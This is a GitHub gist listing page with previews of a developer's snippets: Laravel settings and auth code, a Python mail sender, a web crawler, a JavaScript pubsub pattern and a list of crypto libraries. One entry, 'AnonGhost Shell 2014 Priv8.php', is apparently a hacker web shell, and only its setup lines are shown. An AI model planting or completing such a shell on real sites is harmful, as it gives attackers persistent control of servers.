Skip to content

Instantly share code, notes, and snippets.

View mustafat0k's full-sized avatar
🚀
Go

Mustafa mustafat0k

🚀
Go
View GitHub Profile
@mustafat0k
mustafat0k / .php
Last active March 9, 2019 16:03
Env kaydet
<?php
/** Mail Ayarları */
public function getSmtp() {
$smtp=Config::get('mail');
return view('backend.setting.smtp',compact('smtp'));
@mustafat0k
mustafat0k / gateContract.php
Last active March 9, 2019 15:45
AppServiceProvider GateContract
<?php
public function boot(GateContract $gate) // Bu kısmı 5.5 de boş boot() şeklinde muhtemelen sadece 5.3 de bu şekilde.
{
$this->registerPolicies();
foreach ($this->getPermissions() as $permission) {
$gate->define($permission->name, function($user) use ($permission ) {
@mustafat0k
mustafat0k / mail.py
Created September 14, 2017 03:26 — forked from anonymous/mail.py
Mail Sender
import smtplib as sm
from tkinter import *
class MailSender():
def __init__(self):
self.pencere = Tk()
self.giris_pencere_olustur()
def giris_pencere_olustur(self):
@mustafat0k
mustafat0k / Kancalama.php
Created July 9, 2017 18:12
Laravel de Trait olarak view'lerde modül sistemi için kullanmayı düşündüğüm bir hook sınıfı
<?php
class Kancalama {
private $kanca;
public function fonksiyon_ekle($nereye, $fonksiyon, $oncelik = 1){
if(!isset($this->kanca[$nereye]))
$this->kanca[$nereye] = array();
@mustafat0k
mustafat0k / crawler.php
Created June 18, 2017 19:02
php DOMDocument::loadHTML fonksiyonları
<?php
/*
* howCode Web Crawler Tutorial Series Source Code
* Copyright (C) 2016
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
@mustafat0k
mustafat0k / taksitController.php
Created May 18, 2017 21:09
LaravelCarbon Taksit günleri hesaplaması
/*
..
*/
/*
|--------------------------------------------------------------------------
| Taksit Günlerini Bul
|--------------------------------------------------------------------------
|
| Algoritmayı sadeleştirirsek.
@mustafat0k
mustafat0k / failtrait.php
Created April 24, 2017 21:35
AuthenticatesUsersTraitFails
<?php
namespace Illuminate\Foundation\Auth;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use File;
use Validator;
trait AuthenticatesUsers
@mustafat0k
mustafat0k / AnonGhost Shell 2014 Priv8.php
Created February 26, 2017 07:33
AnonGhost Shell 2014 Priv8
<?php
session_start();
error_reporting(E_ERROR | E_PARSE);
@ini_set("max_execution_time",0);
@set_time_limit(0); #No Fx in SafeMode
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
// global configs
@mustafat0k
mustafat0k / pubsub.js
Created February 18, 2017 17:34 — forked from learncodeacademy/pubsub.js
Basic Javascript PubSub Pattern
//events - a super-basic Javascript (publish subscribe) pattern
var events = {
events: {},
on: function (eventName, fn) {
this.events[eventName] = this.events[eventName] || [];
this.events[eventName].push(fn);
},
off: function(eventName, fn) {
if (this.events[eventName]) {
@mustafat0k
mustafat0k / js-crypto-libraries.md
Created February 17, 2017 22:35 — forked from jo/js-crypto-libraries.md
List of JavaScript Crypto libraries.

JavaScript Crypto Libraries

I start with a list and plan to create a comparison table.

WebCryptoAPI

http://www.w3.org/TR/WebCryptoAPI/

This specification describes a JavaScript API for performing basic cryptographic operations in web applications, such as hashing, signature generation and verification, and encryption and decryption. Additionally, it describes an API for applications to generate and/or manage the keying material necessary to perform these operations. Uses for this API range from user or service authentication, document or code signing, and the confidentiality and integrity of communications.